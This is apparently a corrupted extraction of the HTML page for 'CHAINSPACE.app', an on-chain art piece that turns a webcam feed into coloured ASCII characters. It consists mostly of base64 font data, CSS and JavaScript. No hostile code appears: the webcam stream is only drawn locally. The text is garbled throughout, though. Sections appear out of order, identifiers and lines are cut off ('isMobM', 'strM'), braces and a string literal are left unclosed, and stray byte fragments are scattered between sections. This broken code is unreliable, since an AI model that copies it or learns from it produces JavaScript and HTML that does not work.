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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #3D3D3D;
    font-size: 17px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#565656", "#38A773", "#4EC58D", "#73D2A6", "#3D3D3D", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 60M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = strM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
onst res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.clM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
           gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (eMD
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
#5!&!!&!5/8.+.8/TB::BTaQMQauiiu
#5!&!!&!5/8.+.8/TB::BTaQMQauiiu
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
